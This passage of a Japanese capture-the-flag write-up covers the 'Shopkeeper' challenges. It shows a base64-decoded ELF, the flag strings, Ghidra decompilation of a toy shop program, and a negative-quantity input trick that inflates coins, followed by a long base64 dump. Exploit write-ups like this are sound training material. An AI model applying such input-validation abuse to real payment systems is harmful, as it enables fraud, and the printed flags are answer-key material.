AAAAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAA
AAAAALgwAAAAAAAAgAcAAAAAAAAbAAAAKwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAA
AAAAAAAAAAAAAAA4OAAAAAAAAPYCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMA
AAAAAAAAAAAAAAAAAAAAAAAALjsAAAAAAAADAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAA
AA=='''

with open('chal.bin', 'wb') as f:
    f.write(b64decode(s))
$ file chal.bin
chal.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=44d77e63c8dc64e393128000cf13523b023a9d44, not stripped

64bit ELFファイルになった。含まれている文字列を確認する。

$ strings chal.bin | grep flag{
flag{b4s364_1s_s0_c3wl_wh0_kn3w_you_c0u1d_do_th15}
flag{b4s364_1s_s0_c3wl_wh0_kn3w_you_c0u1d_do_th15}

Shopkeeper 2 (rev)

Shopkeeper 1で取得した64bit ELFファイルをGhidraでデコンパイルする。

undefined8 main(void)

{
  char cVar1;
  undefined8 local_48;
  undefined4 local_40;
  char *local_10;
  
  local_48 = 0x6320343665736162;
  local_40 = 0x6c6168;
  system((char *)&local_48);
  local_10 = "flag{b4s364_1s_s0_c3wl_wh0_kn3w_you_c0u1d_do_th15}";
  cVar1 = print_flag_1();
  if (cVar1 != '\0') {
    print_flag_2();
  }
  return 0;
}

undefined8 print_flag_1(void)

{
  char cVar1;
  int iVar2;
  FILE *__stream;
  undefined8 uVar3;
  char local_9;
  
  cVar1 = Level1();
  if (cVar1 == '\0') {
    uVar3 = 0;
  }
  else {
    __stream = fopen("flag-1.txt","r");
    if (__stream == (FILE *)0x0) {
      puts("Cannot open file ");
      fflush(stdout);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    iVar2 = fgetc(__stream);
    local_9 = (char)iVar2;
    while (local_9 != -1) {
      putchar((int)local_9);
      iVar2 = fgetc(__stream);
      local_9 = (char)iVar2;
    }
    fclose(__stream);
    putchar(10);
    fflush(stdout);
    uVar3 = 1;
  }
  return uVar3;
}

undefined8 Level1(void)

{
  int iVar1;
  undefined4 local_70 [2];
  char *local_68 [2];
  int local_54 [3];
  char *local_48 [4];
  uint local_28 [4];
  int local_18;
  int local_14;
  int local_10;
  char local_a;
  char local_9;
  
  fwrite("Welcome to my Shop!\nWhat would you like to do?\n",1,0x2f,stdout);
  fflush(stdout);
  local_9 = '\x01';
  local_28[0] = 0;
  local_28[1] = 0;
  local_28[2] = 0;
  do {
    while( true ) {
      while( true ) {
        if (local_9 == '\0') {
          return 0;
        }
        fwrite("1) Buy\n2) Sell\n3) View Your Inventory\n4) Leave Shop\n",1,0x34,stdout);
        fflush(stdout);
        iVar1 = getchar();
        local_a = (char)iVar1;
        getchar();
        if (local_a != '2') break;
        fwrite("What would you like to sell?\n",1,0x1d,stdout);
        fwrite("1) An Apple (1 coins)\n2) An Orange (3 coins)\n",1,0x2d,stdout);
        fflush(stdout);
        local_18 = getchar();
        local_18 = local_18 + -0x31;
        getchar();
        local_68[0] = "Apples";
        local_68[1] = "Oranges";
        local_70[0] = 1;
        local_70[1] = 3;
        if ((local_18 < 0) || (1 < local_18)) {
          fprintf(stdout,"%c is not a valid option\n",(ulong)(local_18 + 0x31));
          fflush(stdout);
        }
        else {
          fprintf(stdout,"How many %s would you like to sell?\n",local_68[local_18]);
          fflush(stdout);
          local_28[3] = getchar();
          local_28[3] = local_28[3] + -0x30;
          getchar();
          if ((int)local_28[local_18] < (int)local_28[3]) {
            fprintf(stdout,"You don\'t have enough %s :(\n",local_68[local_18]);
            fflush(stdout);
          }
          else {
            coins = coins + (char)local_70[local_18] * (char)local_28[3];
            local_28[local_18] = local_28[local_18] - local_28[3];
          }
        }
      }
      if ('2' < local_a) break;
      if (local_a == -1) {
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      if (local_a == '1') {
        fwrite("What would you like to buy?\n",1,0x1c,stdout);
        fwrite("1) An Apple (2 coins)\n2) An Orange (6 coins)\n3) The Key to the Flag (100 coins)\n"
               ,1,0x50,stdout);
        fflush(stdout);
        local_10 = getchar();
        local_10 = local_10 + -0x31;
        getchar();
        local_48[0] = "Apples";
        local_48[1] = "Oranges";
        local_48[2] = "Keys to the Flag";
        local_54[0] = 2;
        local_54[1] = 6;
        local_54[2] = 100;
        if ((local_10 < 0) || (2 < local_10)) {
          fprintf(stdout,"%c is not a valid option\n",(ulong)(local_10 + 0x31));
          fflush(stdout);
        }
        else {
          fprintf(stdout,"How many %s would you like to buy?\n",local_48[local_10]);
          fflush(stdout);
          local_14 = getchar();
          local_14 = local_14 + -0x30;
          getchar();
          if ((int)(uint)coins < local_54[local_10] * local_14) {
            fwrite("You don\'t have enough money :(\n",1,0x1f,stdout);
            fflush(stdout);
          }
          else {
            coins = coins - (char)local_54[local_10] * (char)local_14;
            local_28[local_10] = local_28[local_10] + local_14;
          }
        }
      }
      else {
LAB_0040170f:
        fwrite("Do you really think this would be so easy to hack?\n",1,0x33,stdout);
        fflush(stdout);
      }
    }
    if (local_a == '3') {
      fprintf(stdout,"You have %d gold coins!\n",(ulong)coins);
      fprintf(stdout,"You have %d Apples!\n",(ulong)local_28[0]);
      fprintf(stdout,"You have %d Oranges!\n",(ulong)local_28[1]);
      fprintf(stdout,"You have %d Keys to the Flag!\n",(ulong)local_28[2]);
      fflush(stdout);
      if (0 < (int)local_28[2]) {
        fwrite("Congrats!! You have the key!\n",1,0x1d,stdout);
        fflush(stdout);
        return 1;
      }
    }
    else {
      if (local_a != '4') goto LAB_0040170f;
      fwrite("Goodbye then!\n",1,0xe,stdout);
      fflush(stdout);
      local_9 = '\0';
    }
  } while( true );
}

Level1関数で0以外を返す必要がある。そのためにはlocal_28[2]を0より大きくする必要がある。マイナスを指定して購入し、コインを増やし、フラグを購入する。このとき、個数指定では1バイトしか読まないので、"-"を指定することによってマイナス値を指定する。初期所有コインは10で、Orangeの価格は6、1回のマイナスは-3個になるので、5回繰り返せば100になり、フラグを購入できる。

$ nc cha.hackpack.club 10992
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAEBFAAAAAAABAAAAAAAAAADg8AAAAAAAAAAAAAEAAOAAL
AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAaAIAAAAAAABoAgAAAAAAAAgA
AAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCQAAAAAAAqAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
AAAAAAABAAAABAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFAHAAAAAAAAUAcAAAAAAAAAEAAA
AAAAAAEAAAAFAAAAABAAAAAAAAAAEEAAAAAAAAAQQAAAAAAA7QsAAAAAAADtCwAAAAAAAAAQAAAA
AAAAAQAAAAQAAAAAIAAAAAAAAAAgQAAAAAAAACBAAAAAAACoBQAAAAAAAKgFAAAAAAAAABAAAAAA
AAABAAAABgAAABAuAAAAAAAAED5AAAAAAAAQPkAAAAAAAIkCAAAAAAAAoAIAAAAAAAAAEAAAAAAA
AAIAAAAGAAAAIC4AAAAAAAAgPkAAAAAAACA+QAAAAAAA0AEAAAAAAADQAQAAAAAAAAgAAAAAAAAA
BAAAAAQAAADEAgAAAAAAAMQCQAAAAAAAxAJAAAAAAABEAAAAAAAAAEQAAAAAAAAABAAAAAAAAABQ
5XRkBAAAAMwjAAAAAAAAzCNAAAAAAADMI0AAAAAAAFwAAAAAAAAAXAAAAAAAAAAEAAAAAAAAAFHl
dGQHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUuV0
ZAQAAAAQLgAAAAAAABA+QAAAAAAAED5AAAAAAADwAQAAAAAAAPABAAAAAAAAAQAAAAAAAAAvbGli
NjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAADAAAAAgAAAAAAAAAE
AAAAFAAAAAMAAABHTlUARNd+Y8jcZOOTEoAAzxNSOwI6nUQCAAAAEQAAAAEAAAAGAAAAAAAAAAAB
EAARAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALQAAABIAAAAAAAAAAAAA
AAAAAAAAAAAAIwAAABIAAAAAAAAAAAAAAAAAAAAAAAAASgAAABIAAAAAAAAAAAAAAAAAAAAAAAAA
UQAAABIAAAAAAAAAAAAAAAAAAAAAAAAANQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAZwAAABIAAAAA
AAAAAAAAAAAAAAAAAAAAFwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAOwAAABIAAAAAAAAAAAAAAAAA
AAAAAAAAXwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAhQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAKAAA
ABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAHQAAABIAAAAAAAAA
AAAAAAAAAAAAAAAAEgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAABIAAAAAAAAAAAAAAAAAAAAA
AAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAQwAAABEAGACgQEAAAAAAAAgAAAAAAAAAAGxpYmMu
c28uNgBmZmx1c2gAZXhpdABzcmFuZABmb3BlbgBwdXRzAHRpbWUAcHV0Y2hhcgBmZ2V0YwBnZXRj
aGFyAHN0ZG91dABmY2xvc2UAc3lzdGVtAGZ3cml0ZQBmcHJpbnRmAF9fbGliY19zdGFydF9tYWlu
AEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAAAAAgACAAIAAgACAAIAAgACAAIAAAACAAIAAgAC
AAIAAgACAAEAAQABAAAAEAAAAAAAAAB1GmkJAAACAHkAAAAAAAAA8D9AAAAAAAAGAAAABgAAAAAA
AAAAAAAA+D9AAAAAAAAGAAAACgAAAAAAAAAAAAAAoEBAAAAAAAAFAAAAEQAAAAAAAAAAAAAAGEBA
AAAAAAAHAAAAAQAAAAAAAAAAAAAAIEBAAAAAAAAHAAAAAgAAAAAAAAAAAAAAKEBAAAAAAAAHAAAA
AwAAAAAAAAAAAAAAMEBAAAAAAAAHAAAABAAAAAAAAAAAAAAAOEBAAAAAAAAHAAAABQAAAAAAAAAA
AAAAQEBAAAAAAAAHAAAABwAAAAAAAAAAAAAASEBAAAAAAAAHAAAACAAAAAAAAAAAAAAAUEBAAAAA
AAAHAAAACQAAAAAAAAAAAAAAWEBAAAAAAAAHAAAACwAAAAAAAAAAAAAAYEBAAAAAAAAHAAAADAAA
AAAAAAAAAAAAaEBAAAAAAAAHAAAADQAAAAAAAAAAAAAAcEBAAAAAAAAHAAAADgAAAAAAAAAAAAAA
eEBAAAAAAAAHAAAADwAAAAAAAAAAAAAAgEBAAAAAAAAHAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwXt
LwAASIXAdAL/0EiDxAjDAAAAAAAAAAAA/zXiLwAA/yXkLwAADx9AAP8l4i8AAGgAAAAA6eD/////
JdovAABoAQAAAOnQ/////yXSLwAAaAIAAADpwP////8lyi8AAGgDAAAA6bD/////JcIvAABoBAAA
AOmg/////yW6LwAAaAUAAADpkP////8lsi8AAGgGAAAA6YD/////JaovAABoBwAAAOlw/////yWi
LwAAaAgAAADpYP////8lmi8AAGgJAAAA6VD/////JZIvAABoCgAAAOlA/////yWKLwAAaAsAAADp
MP////8lgi8AAGgMAAAA6SD/////JXovAABoDQAAAOkQ////Me1JidFeSIniSIPk8FBUScfA4BtA
AEjHwYAbQABIx8cnG0AA/xW2LgAA9A8fRAAAw2YuDx+EAAAAAAAPH0QAALigQEAASD2gQEAAdBO4
AAAAAEiFwHQJv6BAQAD/4GaQw2ZmLg8fhAAAAAAADx9AAL6gQEAASIHuoEBAAEjB/gNIifBIweg/
SAHGSNH+dBG4AAAAAEiFwHQHv6BAQAD/4MNmZi4PH4QAAAAAAA8fQACAPeEuAAAAdRdVSInl6H7/
///GBc8uAAABXcMPH0QAAMNmZi4PH4QAAAAAAA8fQADrjlVIieVIg+xwSIsFny4AAEiJwbovAAAA
vgEAAABIjT3zDQAA6Nb+//9IiwV/LgAASInH6Jf+///GRf8Bx0XgAAAAAMdF5AAAAADHRegAAAAA
6fcEAABIiwVSLgAASInBujQAAAC+AQAAAEiNPdYNAADoif7//0iLBTIuAABIicfoSv7//+gV/v//
iEX+6A3+//8PvkX+g/gyD4TdAQAAg/gyfxOD+P8PhGcEAACD+DF0HOlnBAAAg/gzD4RQAwAAg/g0
D4QWBAAA6VAEAABIiwXaLQAASInBuhwAAAC+AQAAAEiNPZMNAADoEf7//0iLBbotAABIicG6UAAA
AL4BAAAASI09lg0AAOjx/f//SIsFmi0AAEiJx+iy/f//6H39//+D6DGJRfjocv3//0iNBbwNAABI
iUXASI0FuA0AAEiJRchIjQW1DQAASIlF0MdFtAIAAADHRbgGAAAAx0W8ZAAAAIN9+AAPiNkAAACD
ffgCD4/PAAAAi0X4SJhIi1TFwEiLBSctAABIjTWIDQAASInHuAAAAADoE/3//0iLBQwtAABIicfo
JP3//+jv/P//g+gwiUX06OT8//8PtgXlLAAAD7bQi0X4SJiLRIW0D69F9DnCfTFIiwXSLAAASInB
uh8AAAC+AQAAAEiNPU4NAADoCf3//0iLBbIsAABIicfoyvz//+tvD7YVmSwAAItF+EiYi0SFtInG
i0X0icGJ8A+vwSnCidCIBXosAACLRfhImItUheCLRfQBwotF+EiYiVSF4Oswi0X4jVAxSIsFXCwA
AEiNNQUNAABIice4AAAAAOhI/P//SIsFQSwAAEiJx+hZ/P//kOnRAgAASIsFLCwAAEiJwbodAAAA
vgEAAABIjT3iDAAA6GP8//9IiwUMLAAASInBui0AAAC+AQAAAEiNPeAMAADoQ/z//0iLBewrAABI
icfoBPz//+jP+///g+gxiUXw6MT7//9IjQUODAAASIlFoEiNBQoMAABIiUWox0WYAQAAAMdFnAMA
AACDffAAD4jRAAAAg33wAQ+PxwAAAItF8EiYSItUxaBIiwWLKwAASI01nAwAAEiJx7gAAAAA6Hf7
//9IiwVwKwAASInH6Ij7///oU/v//4PoMIlF7OhI+///i0XwSJiLRIXgOUXsfjaLRfBImEiLVMWg
SIsFOSsAAEiNNW8MAABIice4AAAAAOgl+///SIsFHisAAEiJx+g2+///62+LRfBImItEhZiJwYtF
7InCicgPr8KJwg+2Be4qAAAB0IgF5ioAAItF8EiYi0SF4CtF7InCi0XwSJiJVIXg6zCLRfCNUDFI
iwXIKgAASI01cQsAAEiJx7gAAAAA6LT6//9IiwWtKgAASInH6MX6//+Q6T0BAAAPtgWQKgAAD7bQ
SIsFjioAAEiNNeELAABIice4AAAAAOh6+v//i1XgSIsFcCoAAEiNNdwLAABIice4AAAAAOhc+v//
i1XkSIsFUioAAEiNNdMLAABIice4AAAAAOg++v//i1XoSIsFNCoAAEiNNc0LAABIice4AAAAAOgg
+v//SIsFGSoAAEiJx+gx+v//i0XohcAPjqQAAABIiwX/KQAASInBuh0AAAC+AQAAAEiNPaoLAADo
Nvr//0iLBd8pAABIicfo9/n//7gBAAAA631IiwXJKQAASInBug4AAAC+AQAAAEiNPZILAADoAPr/
/0iLBakpAABIicfowfn//8ZF/wDrOb8BAAAA6NH5//9IiwWKKQAASInBujMAAAC+AQAAAEiNPWYL
AADowfn//0iLBWopAABIicfogvn//4B9/wAPhf/6//+4AAAAAMnDVUiJ5UiD7BAPtgU6KQAAPBN0
OUiLBTcpAABIicG6IQAAAL4BAAAASI09SwsAAOhu+f//SIsFFykAAEiJx+gv+f//uAAAAADpCAIA
AL8AAAAA6Av5//9IiUX4SIsF8CgAAEiLVfhIjTUvCwAASInHuAAAAADo2Pj//0iLRfiJx+it+P//
6bcBAABIiwXBKAAASInBuiMAAAC+AQAAAEiNPQULAADo+Pj//0iLBaEoAABIicfoufj//+iE+P//
iEX3gH33AHk5SIsFhCgAAEiJwboUAAAAvgEAAABIjT3sCgAA6Lv4//9IiwVkKAAASInH6Hz4//+4
AAAAAOlVAQAAD7ZF94PoMIhF9w++VfcPtgU1KAAAD7bAOcJ/BoB99wB5OUiLBSkoAABIicG6FAAA
AL4BAAAASI09kQoAAOhg+P//SIsFCSgAAEiJx+gh+P//uAAAAADp+gAAAEiLBfAnAABIicG6GQAA
AL4BAAAASI09bQoAAOgn+P//SIsF0CcAAEiJx+jo9///6LP3//+D6DCIRfboGPj//4nBumdmZmaJ
yPfqwfoCicjB+B8pwonQiUXwi1XwidDB4AIB0AHAKcGJyIlF8A++RfY5RfB1REiLBXsnAABIicG6
CQAAAL4BAAAASI09EgoAAOiy9///SIsFWycAAEiJx+hz9///D7YVRCcAAA+2RfcB0IgFOCcAAOst
SIsFNycAAItV8EiNNeIJAABIice4AAAAAOgg9///SIsFGScAAEiJx+gx9///D7YFAicAADw3D4U6
/v//uAEAAADJw1VIieVIg+wQuAAAAADoO/j//4TAD4SgAAAASI01pgkAAEiNPaEJAADo/vb//0iJ
RfBIg33wAHUlSI09lQkAAOhX9v//SIsFsCYAAEiJx+jI9v//vwAAAADo3vb//0iLRfBIicfoYvb/
/4hF/+saD75F/4nH6BL2//9Ii0XwSInH6Eb2//+IRf+Aff//deBIi0XwSInH6BH2//+/CgAAAOjn
9f//SIsFUCYAAEiJx+ho9v//uAEAAADrBbgAAAAAycNVSInlSIPsELgAAAAA6Nf8//+EwA+EoAAA
AEiNNeUIAABIjT39CAAA6D32//9IiUXwSIN98AB1JUiNPdQIAADolvX//0iLBe8lAABIicfoB/b/
/78AAAAA6B32//9Ii0XwSInH6KH1//+IRf/rGg++Rf+Jx+hR9f//SItF8EiJx+iF9f//iEX/gH3/
/3XgSItF8EiJx+hQ9f//vwoAAADoJvX//0iLBY8lAABIicfop/X//7gBAAAA6wW4AAAAAMnDVUiJ
5UiD7EBIjUXASLpiYXNlNjQgY0iJEMdACGhhbABIjUXASInH6A31//9IjQU+CAAASIlF+LgAAAAA
6D3+//+EwHQKuAAAAADo8P7//7gAAAAAycMPHwBBV0mJ10FWSYn2QVVBif1BVEyNJXgiAABVSI0t
eCIAAFNMKeVIg+wI6FP0//9Iwf0DdBsx2w8fAEyJ+kyJ9kSJ70H/FNxIg8MBSDnddepIg8QIW11B
XEFdQV5BX8MPHwDDAAAASIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAIAAAAAAFdlbGNvbWUg
dG8gbXkgU2hvcCEKV2hhdCB3b3VsZCB5b3UgbGlrZSB0byBkbz8KADEpIEJ1eQoyKSBTZWxsCjMp
IFZpZXcgWW91ciBJbnZlbnRvcnkKNCkgTGVhdmUgU2hvcAoAV2hhdCB3b3VsZCB5b3UgbGlrZSB0
byBidXk/CgAAAAAAAAAxKSBBbiBBcHBsZSAoMiBjb2lucykKMikgQW4gT3JhbmdlICg2IGNvaW5z
KQozKSBUaGUgS2V5IHRvIHRoZSBGbGFnICgxMDAgY29pbnMpCgBBcHBsZXMAT3JhbmdlcwBLZXlz
IHRvIHRoZSBGbGFnAAAAAAAAAABIb3cgbWFueSAlcyB3b3VsZCB5b3UgbGlrZSB0byBidXk/CgAA
AAAAWW91IGRvbid0IGhhdmUgZW5vdWdoIG1vbmV5IDooCgAlYyBpcyBub3QgYSB2YWxpZCBvcHRp
b24KAFdoYXQgd291bGQgeW91IGxpa2UgdG8gc2VsbD8KADEpIEFuIEFwcGxlICgxIGNvaW5zKQoy
KSBBbiBPcmFuZ2UgKDMgY29pbnMpCgAAAEhvdyBtYW55ICVzIHdvdWxkIHlvdSBsaWtlIHRvIHNl
bGw/CgBZb3UgZG9uJ3QgaGF2ZSBlbm91Z2ggJXMgOigKAFlvdSBoYXZlICVkIGdvbGQgY29pbnMh
CgBZb3UgaGF2ZSAlZCBBcHBsZXMhCgBZb3UgaGF2ZSAlZCBPcmFuZ2VzIQoAAABZb3UgaGF2ZSAl
ZCBLZXlzIHRvIHRoZSBGbGFnIQoAQ29uZ3JhdHMhISBZb3UgaGF2ZSB0aGUga2V5IQoAR29vZGJ5
ZSB0aGVuIQoAAAAAAERvIHlvdSByZWFsbHkgdGhpbmsgdGhpcyB3b3VsZCBiZSBzbyBlYXN5IHRv
IGhhY2s/CgAAAAAAWW91IGRpZG4ndCBzdGFydCBhbGwgb3ZlciBhZ2FpbiEKAFRpbWU6ICV6dQoA
AAAASG93IG11Y2ggbW9uZXkgZG8geW91IHdhbnQgdG8gYmV0PwoARG9uJ3QgdHJ5IGNoZWF0aW5n
IQoAV2hhdCBpcyB0aGUgdmFsdWU/ICgwLTkpCgBDb3JyZWN0IQoAQ29ycmVjdCBWYWx1ZSB3YXM6
